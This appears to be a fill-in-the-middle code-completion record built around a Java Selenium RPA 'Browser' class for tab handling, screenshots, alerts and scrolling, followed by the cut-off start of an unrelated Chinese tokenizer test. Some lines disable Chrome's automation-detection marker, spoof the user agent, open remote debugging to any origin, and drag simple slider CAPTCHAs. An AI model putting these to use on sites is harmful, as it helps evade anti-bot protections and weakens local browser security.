currentHandle = driver.getWindowHandle(); // 获取当前浏览器的所有窗口句柄 Set<String> handles = driver.getWindowHandles(); // 遍历窗口句柄 Iterator<String> it = handles.iterator(); while (it.hasNext()) { String handle = it.next(); try { driver.switchTo().window(handle); // 切换到窗口 String currentUrl = driver.getCurrentUrl(); // 获取当前窗口的URL // 如果当前URL以指定前缀开头,则执行关闭操作 if (currentUrl.startsWith(urlPrefix)) { driver.close(); // 关闭标签页 return true; } } catch (Exception e) { log.error("寻找标签页出现异常:" + e.getMessage()); } } // 切换失败,恢复到原来的窗口 driver.switchTo().window(currentHandle); log.info("未找到具有指定URL前缀的标签页"); return false; } /** * 关闭除当前标签页以外的所有标签页 */ public void closeAllTabsExceptCurrent() { // 获取当前窗口句柄 String currentHandle = driver.getWindowHandle(); try { // 获取所有窗口句柄 Set<String> handles = driver.getWindowHandles(); // 遍历窗口句柄 for (String handle : handles) { // 如果不是当前窗口句柄,则关闭该窗口 if (!handle.equals(currentHandle)) { driver.switchTo().window(handle); // 切换到该窗口 driver.close(); // 关闭窗口 } } // 切换回当前窗口句柄 driver.switchTo().window(currentHandle); } catch (Exception e) { throw new RuntimeException(e); } } /** * 切换到新打开的标签页 */ private void switchToNewTab() { // 获取所有窗口的句柄 for (String handle : driver.getWindowHandles()) { // 切换到新标签页的句柄 driver.switchTo().window(handle); } } /** * 切换到指定标题的标签页 * * @param tabTitle 标签页标题 */ public Boolean switchTabByTitle(String tabTitle) { //js.executeScript("window.switch('" + tabName + "');"); if (StringUtils.isEmpty(tabTitle)) { return false; } if (getCurrentPageTitle().contains(tabTitle)) { return true; } //获取当前浏览器的所有窗口句柄 Set<String> handles = driver.getWindowHandles(); // 记录当前窗口句柄,用于在切换失败时恢复到原来的窗口 String currentHandle = driver.getWindowHandle(); Iterator<String> it = handles.iterator(); while (it.hasNext()) { String next = it.next(); try { driver.switchTo().window(next);//切换到新窗口 initBrowserZoom(); if (getCurrentPageTitle().contains(tabTitle)) { log.info("切换到标签页(title):" + driver.getTitle()); return true; } } catch (Exception e) { log.info("寻找标签页出现异常:" + e.getMessage()); } } // 切换失败,恢复到原来的窗口 driver.switchTo().window(currentHandle); log.info("未找到指定标题的标签页"); return false; } /** * 获取当前页的标题 * * @return */ public String getCurrentPageTitle() { String title = driver.getTitle(); log.info("当前页标题:" + title); return StringUtils.isNotBlank(title) ? title : "null"; } /** * 获取当前页URL * * @return */ public String getCurrentPageUrl() { String url = driver.getCurrentUrl(); return StringUtils.isNotBlank(url) ? url : "null"; } /** * 切换到具备特定元素的窗体 * * @param by */ public boolean switchTabByElement(By by) { // 记录当前窗口句柄,用于在切换失败时恢复到原来的窗口 String currentHandle = driver.getWindowHandle(); try { if (getElement(by, 2) != null) { return true; } //获取当前浏览器的所有窗口句柄 Set<String> handles = driver.getWindowHandles();//获取所有窗口句柄 Iterator<String> it = handles.iterator(); while (it.hasNext()) { String next = it.next(); try { driver.switchTo().window(next);//切换到新窗口 initBrowserZoom(); if (checkElement(by)) { return true; } } catch (Exception e) { log.error("寻找标签页出现异常:" + next); } } } catch (Exception e) { log.error("窗体切换失败!!!!"); return false; } // 切换失败,恢复到原来的窗口 driver.switchTo().window(currentHandle); log.info("未找到具有指定URL前缀的标签页"); return false; } /** * 切换到具有指定URL前缀的标签页 * * @param urlPrefix URL前缀 * @return 如果成功切换到具有指定URL前缀的标签页,则返回true;否则返回false */ public boolean switchTabByUrlPrefix(String urlPrefix) { // 获取当前浏览器的所有窗口句柄 Set<String> handles = driver.getWindowHandles(); // 记录当前窗口句柄,用于在切换失败时恢复到原来的窗口 String currentHandle = driver.getWindowHandle(); // 遍历窗口句柄 for (String handle : handles) { try { driver.switchTo().window(handle); // 切换到窗口 String currentUrl = driver.getCurrentUrl(); // 获取当前窗口的URL // 如果当前URL以指定前缀开头,则返回true if (currentUrl.startsWith(urlPrefix)) { return true; } } catch (Exception e) { log.error("寻找标签页出现异常:" + e.getMessage()); } } // 切换失败,恢复到原来的窗口 driver.switchTo().window(currentHandle); log.info("未找到具有指定URL前缀的标签页"); return false; } public boolean switchTabByUrl(String url) { // 获取当前浏览器的所有窗口句柄 Set<String> handles = driver.getWindowHandles(); // 记录当前窗口句柄,用于在切换失败时恢复到原来的窗口 String currentHandle = driver.getWindowHandle(); // 遍历窗口句柄 for (String handle : handles) { try { driver.switchTo().window(handle); // 切换到窗口 String currentUrl = driver.getCurrentUrl(); // 获取当前窗口的URL // 如果当前URL以指定前缀开头,则返回true if (url.equals(currentUrl)) { return true; } } catch (Exception e) { log.error("寻找标签页出现异常:" + e.getMessage()); } } // 切换失败,恢复到原来的窗口 driver.switchTo().window(currentHandle); log.info("未找到指定URL的标签页"); return false; } /** * 检查页面是否包含指定的元素 * * @param seletor * @return */ public boolean checkElement(By seletor) { try { // todo 检验返回值,还是抛异常 getElement(seletor, 200); log.info("checkElement -> true:" + seletor.toString()); return true; } catch (Exception e) { log.info("checkElement -> false:" + seletor.toString()); return false; } } /** * 鼠标移动到指定元素 * * @param seletor */ public void moveMouseToElement(By seletor) { WebElement element = getElement(seletor); actions.moveToElement(element).perform(); } /** * 模拟鼠标长按指定元素 * * @param by * @param durationInMilliseconds */ public void pressElement(By by, long durationInMilliseconds) { WebElement element = getElement(by); actions.clickAndHold(element).pause(durationInMilliseconds).release().perform(); } /** * 拖动滑块验证元素(简单的拖动滑块验证,部分简单滑块验证可用;提供思路仅供参考) * * @param sliderLocator 滑块元素的定位器 * @param dragAreaLocator 拖动区域元素的定位器 */ public void dragSlider(By sliderLocator, By dragAreaLocator) { // 定位滑块和拖动区域 WebElement slider = driver.findElement(sliderLocator); WebElement dragArea = driver.findElement(dragAreaLocator); // 获取滑块和拖动区域的宽度 int sliderWidth = Integer.parseInt(slider.getCssValue("width").replace("px", "")); int dragAreaWidth = Integer.parseInt(dragArea.getCssValue("width").replace("px", "")); // 计算需要移动的偏移量,这里简化为拖动区域的宽度减去滑块的宽度,加上一小部分额外距离以确保滑块完全移动到末端 int offset = dragAreaWidth - sliderWidth + 5; // 执行拖动操作 actions.clickAndHold(slider) .moveByOffset(offset, 0) .release() .perform(); } /** * 拖动元素到指定位置 * * @param elementLocator 拖动元素的定位表达式 * @param xOffset * @param yOffset */ public void dragElementToOffset(By elementLocator, int xOffset, int yOffset) { // 定位要拖动的元素 WebElement element = driver.findElement(elementLocator); // 执行长按拖动操作 actions.clickAndHold(element) .moveByOffset(xOffset, yOffset) .release() .perform(); } /** * 等待加载弹出框 * * @param timeInSeconds 等待时间(秒) * @return 弹出框对象或null */ public Alert waitForAlert(int timeInSeconds) { long startTime = System.currentTimeMillis() + (timeInSeconds * 1000); while (System.currentTimeMillis() < startTime) { Alert alert = getAlert(); if (alert != null) { return alert; } } return null; } /** * 获取浏览器弹窗 * * @return 弹出框对象或null */ public Alert getAlert() { try { Alert alert = driver.switchTo().alert(); // 切换到默认内容 driver.switchTo().defaultContent(); return alert; } catch (Exception ignored) { return null; } } /** * 处理prompt弹出框 * * @param content 输入的内容 */ public void handlePrompt(String content) { try { Alert alert = waitForAlert(3); if (alert != null) { alert.sendKeys(content); alert.accept(); log.info("prompt弹窗处理成功"); } else { log.info("未找到prompt弹窗"); } } catch (Exception e) { log.info("处理prompt弹窗失败: " + e.getMessage()); } } /** * 关闭浏览器弹窗 * * @return 弹窗文本内容 */ public String closeAlert() { try { Alert alert = getAlert(); alert.accept(); return alert.getText(); } catch (Exception e) { log.info("关闭alert弹窗失败: " + e.getMessage()); return ""; } } /** * 滑动到页面顶部 */ public void scrollToTopByJs() { js.executeScript("window.scrollTo(0, 0)"); } /** * 滑动到页面底部 */ public void scrollToBottomByJs() { js.executeScript("window.scrollTo(0, document.body.scrollHeight)"); } /** * 向下滑动一定距离 * * @param pixels */ public void scrollDownByJs(int pixels) { js.executeScript("window.scrollBy(0, " + pixels + ")"); } /** * 向上滑动一定距离 * * @param pixels */ public void scrollUpByJs(int pixels) { js.executeScript("window.scrollBy(0, -" + pixels + ")"); } // todo 下载、上床,和win的句柄交互实现 }
Drean21/rpa
template/src/main/java/com/cy/rpa/behavior/web/Browser.java
6,856
// 记录当前窗口句柄,用于在切换失败时恢复到原来的窗口
line_comment
zh-cn
package com.cy.rpa.behavior.web; import cn.hutool.core.io.FileUtil; import com.cy.rpa.config.RPAConfig; import com.cy.rpa.behavior.web.listeners.CustomEventListener; import com.cy.rpa.toolkit.CmdUtil; import io.github.bonigarcia.wdm.WebDriverManager; import lombok.Data; import lombok.extern.slf4j.Slf4j; import org.apache.commons.lang3.StringUtils; import org.openqa.selenium.*; import org.openqa.selenium.chrome.ChromeDriver; import org.openqa.selenium.chrome.ChromeOptions; import org.openqa.selenium.interactions.Actions; import org.openqa.selenium.support.events.EventFiringWebDriver; import org.openqa.selenium.support.ui.ExpectedConditions; import org.openqa.selenium.support.ui.Select; import org.openqa.selenium.support.ui.WebDriverWait; import java.io.File; import java.time.Duration; import java.util.Iterator; import java.util.List; import java.util.Set; /** * Browser 网页自动化根类 * * @author Liang Zhaoyuan * @version 2024/02/01 19:07 **/ @Data @Slf4j public class Browser { /*浏览器驱动*/ private EventFiringWebDriver driver; /*js执行器*/ private JavascriptExecutor js; /*actions类 链式网页操作*/ private Actions actions; /** * 初始化谷歌浏览器 */ public void initChrome() { String userProfile = RPAConfig.envPath + File.separator + "browser\\User Data"; //设置 ChromeDriver 路径 String chromeDriverPath = RPAConfig.envPath + File.separator + "browser\\drivers\\chromedriver.exe"; // 设置 Chrome 可执行文件路径 String chromePath = RPAConfig.envPath + File.separator + "browser\\chrome-win64\\chrome.exe"; //设置远程调试地址和端口 String ipAddress = "localhost"; int port = 9889; String debuggerAddress = ipAddress + ":" + port; //是否初始化 boolean isInitialized = true; ChromeOptions options = new ChromeOptions(); if (FileUtil.exist(chromeDriverPath) && FileUtil.exist(chromePath) && FileUtil.exist(userProfile)) { System.setProperty("webdriver.chrome.driver", chromeDriverPath); options.setBinary(chromePath); } else { log.warn("路径下内置的谷歌浏览器驱动不存在!正在尝试使用WebDriverManager获取驱动..."); WebDriverManager.chromedriver().setup(); } if (CmdUtil.isPortInUse(9889)) { isInitialized = false; try { log.info("端口9889被占用,尝试使用已启动的Chrome浏览器..."); options.setExperimentalOption("debuggerAddress", debuggerAddress); } catch (Exception e) { log.info("尝试使用已启动的Chrome浏览器失败,正在尝试关闭占用端口的Chrome进程..."); CmdUtil.closeProcessOnPort(port); log.info("占用端口的Chrome进程已关闭,正在尝试重新启动Chrome浏览器..."); isInitialized = true; } } if (isInitialized) { // 添加其他 ChromeOptions 设置 options.addArguments("--start-maximized"); // 最大化窗口 // options.addArguments("--headless"); // 无头模式,如果需要(更容易被检测) options.addArguments("--disable-blink-features=AutomationControlled");//开发者模式可以减少一些网站对自动化脚本的检测。 //options.addArguments("--disable-gpu"); // 禁用GPU加速 options.addArguments("--remote-allow-origins=*"); // 解决 403 出错问题,允许远程连接 options.addArguments("--user-agent=Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36"); options.addArguments("user-data-dir=" + userProfile); options.addArguments("--remote-debugging-port=9889"); // 设置远程调试端口 } // 创建 ChromeDriver 实例 WebDriver originalDriver = new ChromeDriver(options); driver = new EventFiringWebDriver(originalDriver); // 注册自定义监听器 driver.register(new CustomEventListener()); actions = new Actions(driver); js = (JavascriptExecutor) driver; initBrowserZoom(); } /** * 初始化浏览器缩放比例 */ public void initBrowserZoom() { // 模拟按下 Ctrl 键并同时按下 0 键 actions.keyDown(Keys.CONTROL).sendKeys("0").perform(); } /** * 关闭浏览器 */ public void closeBrowser() { if (driver != null) { driver.quit(); } } /** * 打开网页 * * @param url */ public void openUrl(String url) { if (driver == null) { initChrome(); } if (switchTabByUrl(url)) { log.info("检测到该地址已经打开,无需重复打开"); } else { driver.get(url); } } /** * 在新标签页中打开网页 * * @param url 要打开的网页URL */ public void openUrlInNewTab(String url) { if (driver == null) { initChrome(); } // 打开一个新标签页并切换到该标签页 newTab(); // 在新标签页中打开网页 driver.get(url); } /** * 网页元素截屏 * * @param by the locating mechanism for the web element * @return the file path of the captured screenshot */ public String captureElementScreenshot(By by) { try { String path = RPAConfig.cachePath + File.separator + System.currentTimeMillis() + ".png"; // 定位要截图的元素,可以使用元素的XPath、CSS选择器等方法 WebElement element = getElement(by); // 截取指定元素的截图 File screenshot = ((TakesScreenshot) element).getScreenshotAs(OutputType.FILE); //FileUtils.copyFile(screenshot, new File("ele ment_screenshot.png")); FileUtil.copyFile(screenshot, new File(path)); return path; } catch (Exception e) { log.error("网页元素截屏失败{}", e.getMessage()); return ""; } } /** * 网页元素截屏 * * @param by the locating mechanism for the web element * @param path the file path to save the screenshot * @return the file path of the captured screenshot */ public String captureElementScreenshot(By by, String path) { try { // 定位要截图的元素,可以使用元素的XPath、CSS选择器等方法 WebElement element = getElement(by); // 截取指定元素的截图 File screenshot = ((TakesScreenshot) element).getScreenshotAs(OutputType.FILE); //FileUtils.copyFile(screenshot, new File("ele ment_screenshot.png")); FileUtil.copyFile(screenshot, new File(path)); return path; } catch (Exception e) { log.error("网页元素截屏失败{}", e.getMessage()); return ""; } } /** * 截取整个浏览器页面的截图 * * @return 截图的文件路径 */ public String captureFullPageScreenshot() { try { String path = RPAConfig.cachePath + File.separator + System.currentTimeMillis() + ".png"; // 截取整个浏览器页面的截图 File screenshot = ((TakesScreenshot) driver).getScreenshotAs(OutputType.FILE); FileUtil.copyFile(screenshot, new File(path)); return path; } catch (Exception e) { log.error("截取整个浏览器页面的截图失败: {}", e.getMessage()); return ""; } } /** * 截取整个浏览器页面的截图并保存至指定路径 * * @param path 指定的文件路径 * @return 截图的文件路径 */ public String captureFullPageScreenshot(String path) { try { // 截取整个浏览器页面的截图 File screenshot = ((TakesScreenshot) driver).getScreenshotAs(OutputType.FILE); FileUtil.copyFile(screenshot, new File(path)); return path; } catch (Exception e) { log.error("截取整个浏览器页面的截图并保存至指定路径失败: {}", e.getMessage()); return ""; } } /** * 点击元素 * * @param by */ public void clickElement(By by) { //getElement(by).click(); actions.moveToElement(getElement(by)).click().perform(); // 行为最一致但感觉很奇怪,不应该使用js解决——是的,js无法实现点击蓝奏云的文件上传(不能精确触发) //js.executeScript("arguments[0].click();", getElement(by)); // 切换最新的标签页 switchToNewTab(); } /** * 等待一定时间后点击指定元素 * * @param by 用于定位元素的By对象 * @param waitTimeInSeconds 等待时间(秒) */ public void clickElement(By by, int waitTimeInSeconds) { WebElement element = getElement(by, waitTimeInSeconds); actions.moveToElement(element).click().perform(); } /** * 设置输入框元素的值 * * @param by * @param value */ public void setInputValue(By by, String value) { WebElement element = getElement(by); try { actions.sendKeys(element, value).perform(); } catch (Exception e) { throw new RuntimeException(e); } } /** * 创建新的浏览器对象 * * @return the WebDriver instance created */ public Browser newChrome() { Browser browser = new Browser(); browser.initChrome(); return browser; } /** * 选择下拉菜单中的选项 (对于非select标签,模拟两次元素点击即可) */ public void selectOptionInDropdown(By by, String optionText) { WebElement element = getElement(by); if (isSelectElement(element)) { Select dropdown = new Select(element); dropdown.selectByVisibleText(optionText); } else { throw new IllegalArgumentException("元素不是下拉菜单类型"); } } /** * 判断元素是否是下拉菜单类型 * * @param element * @return */ private boolean isSelectElement(WebElement element) { return element.getTagName().equalsIgnoreCase("select"); } /** * 获取网页元素对象(默认等待3s) * * @param by the locating mechanism * @return the web element identified by the given By object */ public WebElement getElement(By by) { try { WebDriverWait wait = new WebDriverWait(driver, Duration.ofSeconds(3)); WebElement element = wait.until(ExpectedConditions.visibilityOfElementLocated(by)); return element; } catch (Exception e) { log.info("元素未找到: " + by.toString()); return null; } } /** * 获取多个网页元素对象列表(默认等待3s) * * @param by the locating mechanism * @return the list of web elements identified by the given By object */ public List<WebElement> getElements(By by) { try { WebDriverWait wait = new WebDriverWait(driver, Duration.ofSeconds(3)); List<WebElement> elements = wait.until(ExpectedConditions.visibilityOfAllElementsLocatedBy(by)); return elements; } catch (Exception e) { log.info("元素未找到: " + by.toString()); return null; } } /** * 获取网页元素对象(指定等待时长) * * @param by the locating mechanism * @param time the time to wait in seconds * @return the located WebElement */ public WebElement getElement(By by, long time) { try { WebDriverWait wait = new WebDriverWait(driver, Duration.ofMillis(time)); WebElement element = wait.until(ExpectedConditions.visibilityOfElementLocated(by)); return element; } catch (Exception e) { log.info("元素未找到: " + by.toString()); return null; } } /** * 获取多个网页元素对象列表(指定等待时长) * * @param by the locating mechanism * @return the list of web elements identified by the given By object */ public List<WebElement> getElements(By by, long time) { try { WebDriverWait wait = new WebDriverWait(driver, Duration.ofMillis(time)); List<WebElement> elements = wait.until(ExpectedConditions.visibilityOfAllElementsLocatedBy(by)); return elements; } catch (Exception e) { log.info("元素未找到: " + by.toString()); return null; } } /** * 切换到指定标签的Frame * * @param FrameFlag name,id * @return */ public boolean switchToFrame(String FrameFlag) { try { driver.switchTo().frame(FrameFlag); return true; } catch (Exception e) { log.error("iframe切换失败,原因:%s", e.getMessage()); return false; } } /** * 切换到指定的Frame * * @param FrameIndex Frame的顺序 * @return */ public boolean switchToFrame(int FrameIndex) { try { driver.switchTo().frame(FrameIndex); return true; } catch (Exception e) { log.error("iframe切换失败,原因:%s", e.getMessage()); return false; } } /** * 切换到指定的Frame * * @param by 定位选择器 * @return */ public boolean switchToFrame(By by) { try { WebElement FrameElement = getElement(by); driver.switchTo().frame(FrameElement); log.info("Frame切换成功"); return true; } catch (Exception e) { log.error("iframe切换失败,原因:%s", e.getMessage()); return false; } } /** * 切换到父级Frame * * @return */ public boolean switchToParentFrame() { try { driver.switchTo().parentFrame(); return true; } catch (Exception e) { log.error("iframe切换失败,原因:%s", e.getMessage()); return false; } } /** * 切换顶层容器:最外层的html内部 * * @return */ public boolean switchToDefaultContent() { try { driver.switchTo().defaultContent(); log.info("Frame切换回顶层容器"); return true; } catch (Exception e) { log.error("iframe切换失败,原因:%s", e.getMessage()); return false; } } /** * 打开新的标签页 */ public void newTab() { js.executeScript("window.open();"); switchToNewTab(); } /** * 关闭当前标签页 */ public void closeTab() { js.executeScript("window.close();"); } /** * 关闭指定标签页 * * @param tabName 要关闭的标签页名称 */ public boolean closeTabByTitle(String tabName) { // 记录当前窗口句柄,用于在切换失败时恢复到原来的窗口 String currentHandle = driver.getWindowHandle(); // 获取当前浏览器的所有窗口句柄 Set<String> handles = driver.getWindowHandles(); // 遍历窗口句柄 Iterator<String> it = handles.iterator(); while (it.hasNext()) { String handle = it.next(); try { driver.switchTo().window(handle); // 切换到窗口 String title = driver.getTitle(); // 获取窗口标题 // 如果标题与指定的标签页名称匹配,则执行关闭操作 if (title.equals(tabName)) { driver.close(); // 关闭标签页 return true; } } catch (Exception e) { log.error("寻找标签页出现异常:" + e.getMessage()); } } // 切换失败,恢复到原来的窗口 driver.switchTo().window(currentHandle); log.info("未找到指定标题的标签页"); return false; } /** * 关闭具有指定URL前缀的标签页 * * @param urlPrefix 要关闭的标签页URL前缀 */ public boolean closeTabByUrlPrefix(String urlPrefix) { // 记录当前窗口句柄,用于在切换失败时恢复到原来的窗口 String currentHandle = driver.getWindowHandle(); // 获取当前浏览器的所有窗口句柄 Set<String> handles = driver.getWindowHandles(); // 遍历窗口句柄 Iterator<String> it = handles.iterator(); while (it.hasNext()) { String handle = it.next(); try { driver.switchTo().window(handle); // 切换到窗口 String currentUrl = driver.getCurrentUrl(); // 获取当前窗口的URL // 如果当前URL以指定前缀开头,则执行关闭操作 if (currentUrl.startsWith(urlPrefix)) { driver.close(); // 关闭标签页 return true; } } catch (Exception e) { log.error("寻找标签页出现异常:" + e.getMessage()); } } // 切换失败,恢复到原来的窗口 driver.switchTo().window(currentHandle); log.info("未找到具有指定URL前缀的标签页"); return false; } /** * 关闭除当前标签页以外的所有标签页 */ public void closeAllTabsExceptCurrent() { // 获取当前窗口句柄 String currentHandle = driver.getWindowHandle(); try { // 获取所有窗口句柄 Set<String> handles = driver.getWindowHandles(); // 遍历窗口句柄 for (String handle : handles) { // 如果不是当前窗口句柄,则关闭该窗口 if (!handle.equals(currentHandle)) { driver.switchTo().window(handle); // 切换到该窗口 driver.close(); // 关闭窗口 } } // 切换回当前窗口句柄 driver.switchTo().window(currentHandle); } catch (Exception e) { throw new RuntimeException(e); } } /** * 切换到新打开的标签页 */ private void switchToNewTab() { // 获取所有窗口的句柄 for (String handle : driver.getWindowHandles()) { // 切换到新标签页的句柄 driver.switchTo().window(handle); } } /** * 切换到指定标题的标签页 * * @param tabTitle 标签页标题 */ public Boolean switchTabByTitle(String tabTitle) { //js.executeScript("window.switch('" + tabName + "');"); if (StringUtils.isEmpty(tabTitle)) { return false; } if (getCurrentPageTitle().contains(tabTitle)) { return true; } //获取当前浏览器的所有窗口句柄 Set<String> handles = driver.getWindowHandles(); // 记录当前窗口句柄,用于在切换失败时恢复到原来的窗口 String currentHandle = driver.getWindowHandle(); Iterator<String> it = handles.iterator(); while (it.hasNext()) { String next = it.next(); try { driver.switchTo().window(next);//切换到新窗口 initBrowserZoom(); if (getCurrentPageTitle().contains(tabTitle)) { log.info("切换到标签页(title):" + driver.getTitle()); return true; } } catch (Exception e) { log.info("寻找标签页出现异常:" + e.getMessage()); } } // 切换失败,恢复到原来的窗口 driver.switchTo().window(currentHandle); log.info("未找到指定标题的标签页"); return false; } /** * 获取当前页的标题 * * @return */ public String getCurrentPageTitle() { String title = driver.getTitle(); log.info("当前页标题:" + title); return StringUtils.isNotBlank(title) ? title : "null"; } /** * 获取当前页URL * * @return */ public String getCurrentPageUrl() { String url = driver.getCurrentUrl(); return StringUtils.isNotBlank(url) ? url : "null"; } /** * 切换到具备特定元素的窗体 * * @param by */ public boolean switchTabByElement(By by) { // 记录当前窗口句柄,用于在切换失败时恢复到原来的窗口 String currentHandle = driver.getWindowHandle(); try { if (getElement(by, 2) != null) { return true; } //获取当前浏览器的所有窗口句柄 Set<String> handles = driver.getWindowHandles();//获取所有窗口句柄 Iterator<String> it = handles.iterator(); while (it.hasNext()) { String next = it.next(); try { driver.switchTo().window(next);//切换到新窗口 initBrowserZoom(); if (checkElement(by)) { return true; } } catch (Exception e) { log.error("寻找标签页出现异常:" + next); } } } catch (Exception e) { log.error("窗体切换失败!!!!"); return false; } // 切换失败,恢复到原来的窗口 driver.switchTo().window(currentHandle); log.info("未找到具有指定URL前缀的标签页"); return false; } /** * 切换到具有指定URL前缀的标签页 * * @param urlPrefix URL前缀 * @return 如果成功切换到具有指定URL前缀的标签页,则返回true;否则返回false */ public boolean switchTabByUrlPrefix(String urlPrefix) { // 获取当前浏览器的所有窗口句柄 Set<String> handles = driver.getWindowHandles(); // 记录当前窗口句柄,用于在切换失败时恢复到原来的窗口 String currentHandle = driver.getWindowHandle(); // 遍历窗口句柄 for (String handle : handles) { try { driver.switchTo().window(handle); // 切换到窗口 String currentUrl = driver.getCurrentUrl(); // 获取当前窗口的URL // 如果当前URL以指定前缀开头,则返回true if (currentUrl.startsWith(urlPrefix)) { return true; } } catch (Exception e) { log.error("寻找标签页出现异常:" + e.getMessage()); } } // 切换失败,恢复到原来的窗口 driver.switchTo().window(currentHandle); log.info("未找到具有指定URL前缀的标签页"); return false; } public boolean switchTabByUrl(String url) { // 获取当前浏览器的所有窗口句柄 Set<String> handles = driver.getWindowHandles(); // 记录 <SUF> String currentHandle = driver.getWindowHandle(); // 遍历窗口句柄 for (String handle : handles) { try { driver.switchTo().window(handle); // 切换到窗口 String currentUrl = driver.getCurrentUrl(); // 获取当前窗口的URL // 如果当前URL以指定前缀开头,则返回true if (url.equals(currentUrl)) { return true; } } catch (Exception e) { log.error("寻找标签页出现异常:" + e.getMessage()); } } // 切换失败,恢复到原来的窗口 driver.switchTo().window(currentHandle); log.info("未找到指定URL的标签页"); return false; } /** * 检查页面是否包含指定的元素 * * @param seletor * @return */ public boolean checkElement(By seletor) { try { // todo 检验返回值,还是抛异常 getElement(seletor, 200); log.info("checkElement -> true:" + seletor.toString()); return true; } catch (Exception e) { log.info("checkElement -> false:" + seletor.toString()); return false; } } /** * 鼠标移动到指定元素 * * @param seletor */ public void moveMouseToElement(By seletor) { WebElement element = getElement(seletor); actions.moveToElement(element).perform(); } /** * 模拟鼠标长按指定元素 * * @param by * @param durationInMilliseconds */ public void pressElement(By by, long durationInMilliseconds) { WebElement element = getElement(by); actions.clickAndHold(element).pause(durationInMilliseconds).release().perform(); } /** * 拖动滑块验证元素(简单的拖动滑块验证,部分简单滑块验证可用;提供思路仅供参考) * * @param sliderLocator 滑块元素的定位器 * @param dragAreaLocator 拖动区域元素的定位器 */ public void dragSlider(By sliderLocator, By dragAreaLocator) { // 定位滑块和拖动区域 WebElement slider = driver.findElement(sliderLocator); WebElement dragArea = driver.findElement(dragAreaLocator); // 获取滑块和拖动区域的宽度 int sliderWidth = Integer.parseInt(slider.getCssValue("width").replace("px", "")); int dragAreaWidth = Integer.parseInt(dragArea.getCssValue("width").replace("px", "")); // 计算需要移动的偏移量,这里简化为拖动区域的宽度减去滑块的宽度,加上一小部分额外距离以确保滑块完全移动到末端 int offset = dragAreaWidth - sliderWidth + 5; // 执行拖动操作 actions.clickAndHold(slider) .moveByOffset(offset, 0) .release() .perform(); } /** * 拖动元素到指定位置 * * @param elementLocator 拖动元素的定位表达式 * @param xOffset * @param yOffset */ public void dragElementToOffset(By elementLocator, int xOffset, int yOffset) { // 定位要拖动的元素 WebElement element = driver.findElement(elementLocator); // 执行长按拖动操作 actions.clickAndHold(element) .moveByOffset(xOffset, yOffset) .release() .perform(); } /** * 等待加载弹出框 * * @param timeInSeconds 等待时间(秒) * @return 弹出框对象或null */ public Alert waitForAlert(int timeInSeconds) { long startTime = System.currentTimeMillis() + (timeInSeconds * 1000); while (System.currentTimeMillis() < startTime) { Alert alert = getAlert(); if (alert != null) { return alert; } } return null; } /** * 获取浏览器弹窗 * * @return 弹出框对象或null */ public Alert getAlert() { try { Alert alert = driver.switchTo().alert(); // 切换到默认内容 driver.switchTo().defaultContent(); return alert; } catch (Exception ignored) { return null; } } /** * 处理prompt弹出框 * * @param content 输入的内容 */ public void handlePrompt(String content) { try { Alert alert = waitForAlert(3); if (alert != null) { alert.sendKeys(content); alert.accept(); log.info("prompt弹窗处理成功"); } else { log.info("未找到prompt弹窗"); } } catch (Exception e) { log.info("处理prompt弹窗失败: " + e.getMessage()); } } /** * 关闭浏览器弹窗 * * @return 弹窗文本内容 */ public String closeAlert() { try { Alert alert = getAlert(); alert.accept(); return alert.getText(); } catch (Exception e) { log.info("关闭alert弹窗失败: " + e.getMessage()); return ""; } } /** * 滑动到页面顶部 */ public void scrollToTopByJs() { js.executeScript("window.scrollTo(0, 0)"); } /** * 滑动到页面底部 */ public void scrollToBottomByJs() { js.executeScript("window.scrollTo(0, document.body.scrollHeight)"); } /** * 向下滑动一定距离 * * @param pixels */ public void scrollDownByJs(int pixels) { js.executeScript("window.scrollBy(0, " + pixels + ")"); } /** * 向上滑动一定距离 * * @param pixels */ public void scrollUpByJs(int pixels) { js.executeScript("window.scrollBy(0, -" + pixels + ")"); } // todo 下载、上床,和win的句柄交互实现 }
0
34101_19
package net.paoding.analysis; import java.io.StringReader; import junit.framework.TestCase; import net.paoding.analysis.analyzer.PaodingAnalyzer; import org.apache.lucene.analysis.Token; import org.apache.lucene.analysis.TokenStream; public class AnalyzerTest extends TestCase { protected PaodingAnalyzer analyzer = new PaodingAnalyzer(); protected StringBuilder sb = new StringBuilder(); protected String dissect(String input) { try { TokenStream ts = analyzer.tokenStream("", new StringReader(input)); Token token; sb.setLength(0); while ((token = ts.next()) != null) { sb.append(token.termText()).append('/'); } if (sb.length() > 0) { sb.setLength(sb.length() - 1); } return sb.toString(); } catch (Exception e) { e.printStackTrace(); return "error"; } } /** * */ public void test000() { String result = dissect("a"); assertEquals("", result); } /** * */ public void test001() { String result = dissect("空格 a 空格"); assertEquals("空格/空格", result); } /** * */ public void test002() { String result = dissect("A座"); assertEquals("a座", result); } /** * */ public void test003() { String result = dissect("u盘"); assertEquals("u盘", result); } public void test004() { String result = dissect("刚买的u盘的容量"); assertEquals("刚/买的/u盘/容量", result); } public void test005() { String result = dissect("K歌之王很好听"); assertEquals("k歌之王/很好/好听", result); } // -------------------------------------------------------------- // 仅包含词语的句子分词策略 // -------------------------------------------------------------- /** * 句子全由词典词语组成,但词语之间没有包含、交叉关系 */ public void test100() { String result = dissect("台北中文国际"); assertEquals("台北/中文/国际", result); } /** * 句子全由词典词语组成,但词语之间有包含关系 */ public void test101() { String result = dissect("北京首都机场"); assertEquals("北京/首都/机场", result); } /** * 句子全由词典词语组成,但词语之间有交叉关系 */ public void test102() { String result = dissect("东西已经拍卖了"); assertEquals("东西/已经/拍卖/卖了", result); } /** * 句子全由词典词语组成,但词语之间有包含、交叉等复杂关系 */ public void test103() { String result = dissect("羽毛球拍"); assertEquals("羽毛/羽毛球/球拍", result); } // -------------------------------------------------------------- // noise词汇和单字的分词策略 // -------------------------------------------------------------- /** * 词语之间有一个noise字(的) */ public void test200() { String result = dissect("足球的魅力"); assertEquals("足球/魅力", result); } /** * 词语之间有一个noise词语(因之) */ public void test201() { String result = dissect("主人因之生气"); assertEquals("主人/生气", result); } /** * 词语前后分别有单字和双字的noise词语(与,有关) */ public void test202() { String result = dissect("与谋杀有关"); assertEquals("谋杀", result); } /** * 前有noise词语(哪怕),后面跟随了连续的noise单字(了,你) */ public void test203() { String result = dissect("哪怕朋友背叛了你"); assertEquals("朋友/背叛", result); } /** * 前后连续的noise词汇(虽然,某些),词语中有noise单字(很) */ public void test204() { String result = dissect("虽然某些动物很凶恶"); assertEquals("动物/凶恶", result); } // -------------------------------------------------------------- // 词典没有收录的字符串的分词策略 // -------------------------------------------------------------- /** * 